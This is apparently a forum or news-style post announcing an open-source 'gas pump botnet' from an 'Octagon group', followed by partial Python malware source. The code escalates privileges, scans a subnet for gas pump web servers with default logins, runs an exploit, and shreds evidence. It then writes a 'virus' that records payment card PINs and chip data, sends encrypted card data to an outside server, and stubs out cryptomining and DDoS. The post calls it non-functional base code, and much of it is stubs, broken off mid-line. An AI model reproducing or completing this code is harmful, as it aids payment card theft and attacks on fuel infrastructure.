Octagon group releases gas pump botnet open source

This is a base code and not functional, it will be improved.

import requests
import subprocess
import os
import random
import string
from Crypto.Cipher import AES
# AES encryption key
key = b'insert_your_aes_key_here'
# Generate random string for polymorphic code
polymorphic_code = ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))
# Escalate privileges and interface with the gas dispenser and payment system
subprocess.call("echo '{}' | sudo -S {}".format("<sudo password>", "python escalate_privileges.py"), shell=True)
# Scan for gas pump web servers in the area
nmap_output = subprocess.check_output("sudo nmap -p80 -sV -oX gas_pump_scan.xml 192.168.1.0/24", shell=True)
# Search for login pages and default credentials
grep_output = subprocess.check_output("grep -i 'login' gas_pump_scan.xml | grep -E 'default_username|default_password'", shell=True)
# Attempt to log in with default credentials and gain control over gas pump
python_output = subprocess.check_output("python exploit.py", shell=True)
# Delete scan results file
os.remove("gas_pump_scan.xml")
# Hide evidence of attack
subprocess.call("shred -u exploit.py", shell=True)
# Spread virus to payment card chips and other payment systems
virus_payload = "virus_code.py"
with open(virus_payload, "w") as f:
f.write("# Polymorphic code: {}\n\n".format(polymorphic_code))
f.write("# Virus code to infect payment card chips and other payment systems\n\n")
f.write("import requests\n")
f.write("import subprocess\n")
f.write("import random\n")
f.write("import string\n")
f.write("from Crypto.Cipher import AES\n\n")
f.write("# AES encryption key\n")
f.write("key = {}\n\n".format(key))
f.write("# Record payment card pin numbers and chip data\n")
f.write("with open('payment_card_data.txt', 'a') as f:\n")
f.write(" f.write('Payment card data: {}\\n'.format(get_payment_card_data()))\n\n")
f.write("# Get payment card data\n")
f.write("def get_payment_card_data():\n")
f.write(" # Code to get payment card data\n\n")
f.write("# Spread virus to other payment systems\n")
f.write("def spread_virus():\n")
f.write(" # Code to spread virus to other payment systems\n")
f.write(" # Polymorphic code: {}\n".format(''.join(random.choices(string.ascii_uppercase + string.digits, k=10))))
f.write(" # AES encryption\n")
f.write(" cipher = AES.new(key, AES.MODE_EAX)\n")
f.write(" data = b'Payment card details'\n")
f.write(" nonce = cipher.nonce\n")
f.write(" ciphertext, tag = cipher.encrypt_and_digest(data)\n")
f.write(" headers = {'Content-Type': 'application/octet-stream'}\n")
f.write(" requests.post('https://server.com/data', headers=headers, data=nonce + ciphertext + tag)\n\n")
f.write("# Mine cryptocurrency and perform DDoS attacks from gas pump botnet\n")
f.write("def mine_cryptocurrency():\n")
f.write(" # Code to mine cryptocurrency\n")
f.write(" # Polymorphic code: {}\n".format